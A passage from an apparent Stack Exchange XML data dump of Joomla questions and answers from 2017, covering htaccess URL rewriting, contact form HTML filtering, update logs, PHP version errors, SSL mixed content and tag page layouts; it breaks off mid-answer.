  <row Id="19353" PostTypeId="1" CreationDate="2017-03-14T14:21:19.937" Score="1" ViewCount="156" Body="&lt;p&gt;Im trying to put html &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; inside the form Addrees of Contacts: Edit in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after saving, it erases the html code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IKBz6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IKBz6.jpg&quot; alt=&quot;Link image:&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9819" LastActivityDate="2017-06-14T00:34:52.477" Title="joomla ADD html in contacts edit on address" Tags="|joomla-3.x|contact|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19354" PostTypeId="1" CreationDate="2017-03-14T22:21:24.253" Score="1" ViewCount="43" Body="&lt;p&gt;I want my template to display Article Titles and Bodies with the following markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;section&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;section-head&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;My Title Goes Here&amp;lt;/h3&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;section-body&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;Body goes here&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Lorem Ipsum etc... &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this? All the tutorials I've found have been too basic and do not cover sufficient detail any more than&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will contain the whole article, leaving me with no control over markup.&lt;/p&gt;&#xA;" OwnerUserId="9564" LastActivityDate="2017-08-09T11:44:48.057" Title="Joomla 3.6 Template Creation - Article Titles and Bodies" Tags="|templates|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19355" PostTypeId="1" CreationDate="2017-03-15T06:03:05.100" Score="1" ViewCount="228" Body="&lt;p&gt;I have an URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/photos?photoId=344&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I want to make pretty URL such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/photos/344&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to correct htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^photos/([A-Za-z0-9-]+) /photos?photoId=$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when clicking domain.com/photos/344 - i go to 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the error in Joomla SEF plugin? It's ON&lt;/p&gt;&#xA;" OwnerUserId="8039" LastActivityDate="2023-12-10T07:05:50.697" Title="Pretty URL to custom joomla page" Tags="|url|sef|.htaccess-configuration|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="19356" PostTypeId="2" ParentId="19355" CreationDate="2017-03-15T09:22:02.873" Score="0" Body="&lt;p&gt;This approach assumes you have &lt;em&gt;mod_rewrite&lt;/em&gt; enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should go about this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options -MultiViews&#xA;RewriteEngine On&#xA;&#xA;# First, do redirect &quot;/photos?photoId=something&quot; to &quot;/photos/something&quot;&#xA;RewriteCond %{THE_REQUEST} \s/photos\?photoId=([0-9]+)\s [NC]&#xA;RewriteRule ^ /photos/%1? [R=301,L]&#xA;&#xA;# Then, internally rewrite &quot;/photos/something&quot; to &quot;/photos?photoId=something&quot;&#xA;RewriteRule ^photos/([0-9]+)$ /photos?photoId=$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9182" LastEditorUserId="9182" LastEditDate="2017-03-15T09:44:03.160" LastActivityDate="2017-03-15T09:44:03.160" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19357" PostTypeId="1" CreationDate="2017-03-15T13:26:57.703" Score="2" ViewCount="32" Body="&lt;p&gt;I have a page displaying a list of Feature Articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is set up as a Menu Item of type Feature Articles. IN the Layout, I have Article Order set to 'Article Order'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I have 5 articles on the page, they appear in the expected order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I add another, I got pagination (not wanted) so I increased the #Into Articles on the Articles Global settings, and then all Articles appeared without pagination. But, unfortunately, the order is broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the extra article, the ordering is restored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove one of the other articles, sometimes the ordering is restored, sometimes still broken. I have not been able to see a pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I guarantee the correct order?&lt;/p&gt;&#xA;" OwnerUserId="9564" LastActivityDate="2017-03-15T15:48:34.410" Title="Order Broken on Feature Article page" Tags="|articles|menu|featured-articles|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19358" PostTypeId="2" ParentId="4904" CreationDate="2017-03-15T13:44:08.513" Score="0" Body="&lt;p&gt;The following code placed in my .htaccess file worked for me on my Joomla 3.6.5 site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteCond %{QUERY_STRING} ^id=featured$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteRule ^component/content/featured.html?$ &lt;a href=&quot;http://yoursite.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://yoursite.com/&lt;/a&gt;? [L,R=301]&lt;/p&gt;&#xA;" OwnerUserId="9824" LastEditorUserId="9824" LastEditDate="2017-03-15T16:05:21.870" LastActivityDate="2017-03-15T16:05:21.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19359" PostTypeId="1" CreationDate="2017-03-15T13:50:45.160" Score="3" ViewCount="1525" Body="&lt;p&gt;I am diagnosing a botched upgrade in a Joomla component. In order to find out exactly what happened, it would be really helpful to have a log of all the updates (system, extensions, components...) performed on the system: on this day this plugin was updated, on this day that other component was updated...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there such a log? (Joomla 3.6).&lt;/p&gt;&#xA;" OwnerUserId="9825" LastEditorUserId="9825" LastEditDate="2017-03-15T14:09:03.640" LastActivityDate="2018-11-11T11:18:20.777" Title="Is there an updates log in Joomla?" Tags="|joomla-3.x|administration|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19360" PostTypeId="2" ParentId="19359" CreationDate="2017-03-15T14:51:31.397" Score="1" Body="&lt;p&gt;No - Joomla doesn't store the history of updates anywhere, but this is a good idea to have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're diagnosing a botched update, then the first thing that you need to do is to find out what the error is (by setting the error_reporting to &quot;maximum&quot; in your configuration.php file). If that doesn't work, then try disabling plugins one by one (last ones installed first).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-03-15T14:51:31.397" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19361" PostTypeId="2" ParentId="19357" CreationDate="2017-03-15T15:48:34.410" Score="1" Body="&lt;p&gt;I found the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Feature Article menu item #Columns setting was empty, and by the look of the HTML generated it was trying to generate 2 columns but the template could only render one column, causing layout confusion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By setting the #Columns setting to 1, this agrees with that the template was rendering, and solves the confusion. Sorting Sorted!&lt;/p&gt;&#xA;" OwnerUserId="9564" LastActivityDate="2017-03-15T15:48:34.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19362" PostTypeId="2" ParentId="19353" CreationDate="2017-03-15T23:02:35.317" Score="2" Body="&lt;p&gt;Edit the file administrator/components/com_contact/models/forms/contact.xml and find field below code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;  name=&quot;address&quot;&#xA;  type=&quot;textarea&quot;&#xA;  label=&quot;COM_CONTACT_FIELD_INFORMATION_ADDRESS_LABEL&quot;&#xA;  description=&quot;COM_CONTACT_FIELD_INFORMATION_ADDRESS_DESC&quot;&#xA;  rows=&quot;3&quot;&#xA;  cols=&quot;30&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add filter to it like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;  name=&quot;address&quot;&#xA;  type=&quot;textarea&quot;&#xA;  label=&quot;COM_CONTACT_FIELD_INFORMATION_ADDRESS_LABEL&quot;&#xA;  description=&quot;COM_CONTACT_FIELD_INFORMATION_ADDRESS_DESC&quot;&#xA;  rows=&quot;3&quot;&#xA;  cols=&quot;30&quot;&#xA;  filter=&quot;JComponentHelper::filterText&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: it is bad idea to modify core files. Instead override using output overrides.&#xA;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/9854626/override-components-com-users-models-forms-login-xml-joomla-2-5&quot;&gt;https://stackoverflow.com/questions/9854626/override-components-com-users-models-forms-login-xml-joomla-2-5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-03-15T23:09:07.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19363" PostTypeId="2" ParentId="19359" CreationDate="2017-03-15T23:26:11.910" Score="2" Body="&lt;p&gt;There is no such activity log feature in the Joomla core but you could install a third party extension such as the &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/administration/admin-reports/logman/&quot; rel=&quot;nofollow noreferrer&quot;&gt;LOGman&lt;/a&gt; paid extension or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the documentation, &lt;a href=&quot;https://www.joomlatools.com/extensions/logman/documentation/getting-started/#what-actions-are-logged&quot; rel=&quot;nofollow noreferrer&quot;&gt;logged activities&lt;/a&gt; include installs, upgrades and uninstalls using the Joomla Installer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this probably won't help you in this instance because LOGman only logs activity after it has been installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;November 2018 Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the release of Joomla 3.9.0, a user action log is now included in the Joomla core. Actions such as log in, log out, extension updates, article updates and extension configuration changes can be logged. Remember to enable the action log plugins for this to work.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2018-11-11T11:18:20.777" LastActivityDate="2018-11-11T11:18:20.777" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19364" PostTypeId="1" CreationDate="2017-03-16T05:10:56.513" Score="1" ViewCount="556" Body="&lt;p&gt;I am unable to login into back end of joomla, i am using joomla 3.6 and when i operate PHP Version 7.0.12 and try login, i get &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined method WFEditor::getContext() in ......../administrator/components/com_jce/models/model.php on line 128&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but while using PHP Version 5.4.43 the administrator/index.php page does not even load. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way i solved it was by going into phpMyAdmin (database) and disable the component that was causing problem (in this case JCE) and now I was able to login and updated the component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worked back  then. &lt;/p&gt;&#xA;" OwnerUserId="8246" LastEditorUserId="8246" LastEditDate="2019-05-18T21:35:15.587" LastActivityDate="2019-05-18T21:35:15.587" Title="Fatal error: Call to undefined method WFEditor::getContext() in ......../administrator/components/com_jce/models/model.php on line 128" Tags="|php|joomla-3.6|jce|" AnswerCount="0" CommentCount="2" ClosedDate="2017-03-17T15:48:58.747" ContentLicense="CC BY-SA 4.0" />
  <row Id="19365" PostTypeId="1" AcceptedAnswerId="19366" CreationDate="2017-03-16T07:25:07.970" Score="2" ViewCount="131" Body="&lt;p&gt;I'm new to Joomla, my site was working almost fine for many weeks but suddenly i'm getting this error &quot;Your host needs to use PHP 5.3.10 or higher to run this version of Joomla!&quot; so i asked my provider to upgrade the php, they ignored as they normally do. I want to know why suddenly this error pops up? i didn't upgrade Joomla version (Current Joomla version 3.3.6, PHP version 5.3.3) Does anyone know how to resolve this issue.&lt;/p&gt;&#xA;" OwnerUserId="9828" LastActivityDate="2017-03-16T09:44:31.800" Title="Joomla backend stopped working suddenly because of PHP version" Tags="|php|upgrade|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19366" PostTypeId="2" ParentId="19365" CreationDate="2017-03-16T09:44:31.800" Score="3" Body="&lt;p&gt;If you used the hosting built-in 1-click-installer for Joomla, then you probably managed to bypass the minimum PHP version requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you wont be able to use Joomla until you upgrade to atleast 5.3.10, as stated in the requirements:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://downloads.joomla.org/technical-requirements&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downloads.joomla.org/technical-requirements&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're hosting provider is ignoring you, then perhaps you need to consider someone better.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-03-16T09:44:31.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19367" PostTypeId="1" AcceptedAnswerId="19453" CreationDate="2017-03-16T14:04:07.857" Score="3" ViewCount="323" Body="&lt;p&gt;I am using Joomla 3.6.5 version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In article we can add Read More break point for blog view of articles or introtext in menu. When we click on Read More button in bottom of the page, it will add code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's working fine. But my issue is different. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have content of articles from third party. And I have php script with HTML and content to update article content. That script runs from cron job. I have also add this hr tag along with other content where I want to put break point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this not adding Read More text to my menu intro text. After cron job run I have looked in article content this tag is there. And one more point, as I have thought it may do changes of text break on click of Read More button, but strange! Without changing any thing if I save article again, it will show me a Read More text on menu intro text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any one can suggest that from which file this break point related changes are applied. Or any other solution to solve my issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of my script is here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dircontents = &quot;&amp;lt;div&amp;gt;Lorem Ipsum is simply dummy text of the printing and typesetting industry.&amp;lt;hr id=\&quot;system-readmore\&quot; /&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9830" LastActivityDate="2017-03-28T09:13:34.917" Title="Joomla artcle content update from code job Read More break not working" Tags="|joomla-3.6|readmore|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19370" PostTypeId="1" CreationDate="2017-03-16T17:29:04.153" Score="1" ViewCount="42" Body="&lt;p&gt;I want to add custom animation to the joomla menu instead of title. How to do that?&#xA;I want to add the animation style menu shown in hte link&#xA;&lt;a href=&quot;https://sarasoueidan.com/demos/navicon-transformicons/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sarasoueidan.com/demos/navicon-transformicons/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9833" LastActivityDate="2017-03-16T17:29:04.153" Title="How to add custom Animated icon to the joomla menu ? like the one shown below without the title?" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="3" ClosedDate="2017-03-17T21:24:08.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="19372" PostTypeId="1" CreationDate="2017-03-16T18:06:37.883" Score="0" ViewCount="316" Body="&lt;p&gt;I have 2 sites, one where this is working and one where it is not&#xA;&lt;a href=&quot;http://customsigncenter.com/holiday-banners&quot; rel=&quot;nofollow noreferrer&quot;&gt;this site the titles work&lt;/a&gt;&#xA;&lt;a href=&quot;http://4signs.com/banners/holiday&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one they don't&lt;/a&gt;&#xA;all the settings are the same and the SHOW button is green&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can I get a hint? :)&lt;/p&gt;&#xA;" OwnerUserId="9834" LastActivityDate="2017-03-17T18:06:30.330" Title="Joomla 3.6 Module Show Title not working" Tags="|module|" AnswerCount="1" CommentCount="0" ClosedDate="2017-03-17T21:30:29.967" ContentLicense="CC BY-SA 3.0" />
  <row Id="19373" PostTypeId="1" CreationDate="2017-03-17T15:17:34.503" Score="2" ViewCount="541" Body="&lt;p&gt;I have installed a &lt;strong&gt;Cloud Tags&lt;/strong&gt; module to display most used tags on my site. I would expect that when clicking on any of the Tags on the module, to see a page with a list layout that will show all relative content items and articles that are tagged with the clicked tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed I am seeing this list but the problem is that this list layout is displayed on the homepage under all modules that exist on homepage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening and how to display the tags layout page on its own and not as part of the homepage with all these modules?&lt;/p&gt;&#xA;" OwnerUserId="9836" LastEditorUserId="126" LastEditDate="2017-03-20T14:30:48.053" LastActivityDate="2020-08-02T05:00:25.070" Title="Tagged items listing layout after clicking on a tag is displayed on homepage" Tags="|joomla-3.x|menu-item|tags|layout|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19375" PostTypeId="1" CreationDate="2017-03-17T17:37:10.670" Score="2" ViewCount="533" Body="&lt;p&gt;I'm having some trouble with a couple of sites with mixed content and ssl from Cloudflare. Normally all I need to do is install the plugin from SimBunch and then setup all of my redirects from http to https, but for some reason a few of my sites are having major difficulty with this process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Website in Question: &lt;a href=&quot;https://www.ashleyrowlett.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ashleyrowlett.com&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried absolutely everything I can think of and every suggestion I've found in forums. livesite is set to https version in the configuration file, but there are TONS of files still loading the http version causing the mixed content. Caches are all turned off and cleared - I've searched my template for any http references and found nothing. I've tried switching templates to the default Joomla templates to test, same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hosting company can't help me. Cloudflare can't help me. Simbunch can't help me. Not sure where else to go or to try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does ANYONE have any ideas? Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Referenced things I've tried:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.yireo.com/tutorials/joomla/joomla-administration/1506-dealing-with-ssl-mixed-content-in-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.yireo.com/tutorials/joomla/joomla-administration/1506-dealing-with-ssl-mixed-content-in-joomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://support.cloudflare.com/hc/en-us/articles/203624920-How-do-I-fix-the-infinite-redirect-loop-error-in-Joomla-after-enabling-free-Universal-SSL-&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.cloudflare.com/hc/en-us/articles/203624920-How-do-I-fix-the-infinite-redirect-loop-error-in-Joomla-after-enabling-free-Universal-SSL-&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.simbunch.com/products/free-extensions/cloudflare-for-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.simbunch.com/products/free-extensions/cloudflare-for-joomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8335" LastActivityDate="2017-03-20T14:31:43.277" Title="Mixed Content Errors w/ Cloudflare" Tags="|joomla-3.x|ssl|https|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19376" PostTypeId="2" ParentId="19372" CreationDate="2017-03-17T18:06:30.330" Score="0" Body="&lt;p&gt;Depends on the template you are using usually - does this template have headers in place for those module positions? I know some templates don't include this by default.&lt;/p&gt;&#xA;" OwnerUserId="8335" LastActivityDate="2017-03-17T18:06:30.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19377" PostTypeId="1" CreationDate="2017-03-17T18:09:19.723" Score="2" ViewCount="129" Body="&lt;p&gt;Smart Search and Zoo are working as expected in 95% of Zoo items.  However, something strange is happening with the remaining 5% causing them not to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have items with the text &lt;code&gt;1,251,647&lt;/code&gt; that index perfectly, but I have items with the text &lt;code&gt;1,275,618&lt;/code&gt; that do not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already noticed that the expression &lt;code&gt;1,275,618&lt;/code&gt; is not in the &lt;code&gt;##_zoo_search_index&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any idea what might be happening?&lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="168" LastEditDate="2018-08-18T15:40:06.743" LastActivityDate="2018-12-16T17:03:05.603" Title="Why are some items from Zoo not indexed in Smart Search?" Tags="|smartsearch|zoo|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19378" PostTypeId="1" AcceptedAnswerId="22585" CreationDate="2017-03-18T18:20:40.000" Score="4" ViewCount="324" Body="&lt;p&gt;When I do a search in the smart search component, I need the results to exclude some unique letters or expressions like: &quot;a&quot;, &quot;e&quot;, &quot;de&quot;, &quot;da&quot;, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dPaYS.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dPaYS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? &lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="7577" LastEditDate="2017-03-19T23:05:16.877" LastActivityDate="2018-03-23T05:16:44.043" Title="How to smart search excluding specific expressions or letters?" Tags="|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19379" PostTypeId="1" CreationDate="2017-03-19T19:18:44.343" Score="1" ViewCount="35" Body="&lt;p&gt;What I would like to do is create a basic wiki using Joomla articles and categories. On the front-end when someone creates an article I would like for them to be able to give other registered members permission to edit. Is this possible in any way out of the box or does it require an extension? If so what extensions would you suggest using?&lt;/p&gt;&#xA;" OwnerUserId="9840" LastActivityDate="2017-03-19T19:18:44.343" Title="Joomla3 specific article permissions on front end" Tags="|articles|extensions|user|joomla-3.5|permissions|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19381" PostTypeId="1" CreationDate="2017-03-20T12:52:00.950" Score="1" ViewCount="802" Body="&lt;p&gt;Is it possible to do the following URL rewrite (not redirect) with htaccess? &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;mypage.com/en/example/example/index.php &lt;strong&gt;to&lt;/strong&gt; mypage.com/en/example&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have also enabled URL rewriting in Joomla config, but I don't know if this has any effect on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried something like below, but its not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^http://www.mypage.com/en/example/example/index.php$ &#xA;http://www.mypage.com/en/example [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5324" LastEditorUserId="126" LastEditDate="2017-03-20T14:00:31.700" LastActivityDate="2017-04-20T18:05:31.633" Title="Rewrite URL In joomla" Tags="|joomla-3.x|.htaccess-configuration|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19382" PostTypeId="2" ParentId="19381" CreationDate="2017-03-20T13:36:20.567" Score="1" Body="&lt;p&gt;You can do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^/?en/example/example/index.php$ en/example [R=301,L] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} ^/en/example/example/index.php&#xA;RewriteRule (.*) en/example [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-03-20T20:00:36.503" LastActivityDate="2017-03-20T20:00:36.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19383" PostTypeId="1" CreationDate="2017-03-20T13:58:20.750" Score="5" ViewCount="166" Body="&lt;p&gt;I have a custom extension where I need to write information to a log file.&#xA;For this I am using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.log.log'); // Include the log library&#xA;$priorities = JLog::ALL ^ JLog::WARNING; // exclude warning (because of deprecated)&#xA;$logFileName = 'myextension.log.php';&#xA;$logCategory = 'com_myextension';&#xA;try {&#xA;    JLog::addLogger(array('text_file' =&amp;gt; $logFileName), $priorities, $logCategory);&#xA;    JLog::add($msg, JLog::INFO, $logCategory);&#xA;} catch (Exception $e) {&#xA;    // logging failed because of unknown reasons, no further action / attempts&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works excellent on all Joomla installs 2.x to 3.x - except for the ones which have the FTP Layer enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read &lt;a href=&quot;https://groups.google.com/d/msg/joomla-dev-cms/MMMTpCXadAc/ZKXI8DRyLnAJ&quot; rel=&quot;noreferrer&quot;&gt;on the Joomla Dev CMS list&lt;/a&gt; that JLog does not support the FTP layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I deal with it?&#xA;Or more specifically: how can I write my own version of &lt;code&gt;JLogLoggerFormattedtext&lt;/code&gt; that uses FTP when that layer is enabled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8195" LastActivityDate="2018-12-13T00:02:40.543" Title="FTP Layer - How to do Logging?" Tags="|joomla-3.x|joomla-2.5|logs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19384" PostTypeId="2" ParentId="19373" CreationDate="2017-03-20T14:27:09.703" Score="1" Body="&lt;h1&gt;Why this is happening?&lt;/h1&gt;&#xA;&lt;p&gt;This is happening (showing the tags list page on homepage) because there is no menu item for this particular view. So Joomla, because it needs a menu item for each component's view, will use the default (homepage) menu item to display the relative content of the tags component.&lt;/p&gt;&#xA;&lt;p&gt;Obviously your homepage's menu item has assigned on it many modules that are positioned above the component output, and likely in its standard condition is set to not display Joomla content at all - e.g. a featured articles menu item that is set to display 0 articles - or maybe you have a single article menu item, which shows your home article below these modules.&lt;/p&gt;&#xA;&lt;p&gt;But when you click on any of the tags, the module is linking to a view of the tags component - and without a dedicated menu item for that view it will default to the homepage. So at the moment, your request will be slightly different than when you actually see your real homepage. If you had disableb SEF URLs you would see in that URL something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_tags&amp;amp;...&amp;amp;itemid=101...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with the itemid being the id of your home page, which will force to load all modules of the homepage at their current module positions on the template, but this time mixed with the content of the tags component.&lt;/p&gt;&#xA;&lt;h1&gt;Solution&lt;/h1&gt;&#xA;&lt;p&gt;To overcome this, you simply need to create a 